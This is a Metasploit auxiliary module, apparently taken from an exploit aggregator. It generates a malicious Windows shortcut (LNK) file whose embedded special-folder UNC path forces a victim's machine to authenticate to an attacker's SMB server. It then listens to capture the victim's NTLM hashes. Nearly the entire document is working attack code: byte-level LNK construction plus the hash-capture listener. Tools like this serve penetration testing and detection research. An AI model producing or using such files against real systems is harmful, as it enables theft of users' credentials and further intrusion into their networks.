Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'faker'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Remote::Relay::NTLM::HashCapture
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak',
'Description' => %q{
This module creates a malicious Windows shortcut (LNK) file that
specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK)
that can trigger an authentication attempt to a remote server. This can be used
to harvest NTLM authentication credentials.
When a victim browse to the location of the LNK file, it will attempt to
connect to the the specified UNC path, resulting in an SMB connection that
can be captured to harvest credentials.
},
'Author' => [ 'Nafiez' ],
'License' => MSF_LICENSE,
'References' => [
[
'URL', 'https://zeifan.my/Right-Click-LNK/',
'EDB', '42382',
]
],
'Platform' => 'win',
'Targets' => [ [ 'Windows Universal', {} ] ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'DisclosureDate' => '2025-05-10' # Disclosed to MSRC on 2025-05-10
)
)
register_options([
OptString.new('APPNAME', [ false, 'Name of the application to display', nil])
])
end
def generate_shell_link_header
header = ''
header << [0x4C].pack('L') # HeaderSize (4 bytes)
header << [0x00021401, 0x0000, 0x0000, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') # LinkCLSID (16 bytes)
header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode
header << [0x00].pack('L') # FileAttributes (4 bytes)
header << [0x00].pack('Q') # CreationTime (8 bytes)
header << [0x00].pack('Q') # AccessTime (8 bytes)
header << [0x00].pack('Q') # WriteTime (8 bytes)
header << [0x00].pack('L') # FileSize (4 bytes)
header << [0x00].pack('L') # IconIndex (4 bytes)
header << [0x00].pack('L') # ShowCommand (4 bytes)
header << [0x00].pack('S') # HotKey (2 bytes)
header << [0x00].pack('S') # Reserved1 (2 bytes)
header << [0x00].pack('L') # Reserved2 (4 bytes)
header << [0x00].pack('L') # Reserved3 (4 bytes)
header
end
def generate_item_id(data)
[data.length + 2].pack('S') + data
end
def generate_lnk_special(path, name)
# Force encoding to ASCII-8BIT (binary) to avoid encoding issues
path = path.dup.force_encoding('ASCII-8BIT')
name = name.dup.force_encoding('ASCII-8BIT')
# Add null terminator
path += "\x00".force_encoding('ASCII-8BIT')
name += "\x00".force_encoding('ASCII-8BIT')
# Convert to UTF-16LE manually
path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT')
name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT')
# Remove BOM (first 2 bytes) if present
path_utf16 = path_utf16[2..] if path_utf16.start_with?("\xFF\xFE")
name_utf16 = name_utf16[2..] if name_utf16.start_with?("\xFF\xFE")
bin_data = ''.force_encoding('ASCII-8BIT')
bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT')
bin_data << [path.length].pack('S')
bin_data << [name.length].pack('S')
bin_data << path_utf16
bin_data << name_utf16
bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment
bin_data
end
def generate_linktarget_idlist(path, name)
idlist = ''.force_encoding('ASCII-8BIT')
# Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html
# First ItemID - My Computer / This PC
# {20D04FE0-3AEA-1069-A2D8-08002B30309D}
field_size_id1 = "\x1f\x50"
first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')
idlist << generate_item_id(field_size_id1 + first_id)
# Second ItemID - Control Panel (All Tasks)
# {ED7BA470-8E54-465E-825C-99712043E01C}
field_size_id2 = "\x2e\x80"
second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')
idlist << generate_item_id(field_size_id2 + second_id)
# Custom ItemID - Our UNC path
idlist << generate_item_id(generate_lnk_special(path, name))
# TerminalID
idlist << "\x00\x00".force_encoding('ASCII-8BIT')
# Full IDList with size
[idlist.length].pack('S') + idlist
end
def generate_extra_data
extra = ''.force_encoding('ASCII-8BIT')
extra << [0x10].pack('L') # BlockSize (4 bytes)
extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes)
extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel
extra << [0x28].pack('L') # Offset (4 bytes)
extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes)
extra
end
def ms_shllink(path, name)
lnk_data = ''.force_encoding('ASCII-8BIT')
lnk_data << generate_shell_link_header
lnk_data << generate_linktarget_idlist(path, name)
lnk_data << generate_extra_data
lnk_data
end
def run
app_name = datastore['APPNAME']
app_name = "#{Faker::App.name}Application" if app_name.blank?
start_service
unc_share = datastore['SHARE']
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
unc_path = "\\\\#{srvhost}\\#{unc_share}"
lnk_data = ms_shllink(unc_path, app_name)
file_create(lnk_data)
print_good("LNK file created: #{datastore['FILENAME']}")
print_status("Listening for hashes on #{Rex::Socket.to_authority(bindhost, bindport)}")
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Rex::ThreadSafe.sleep(1)
end
end
end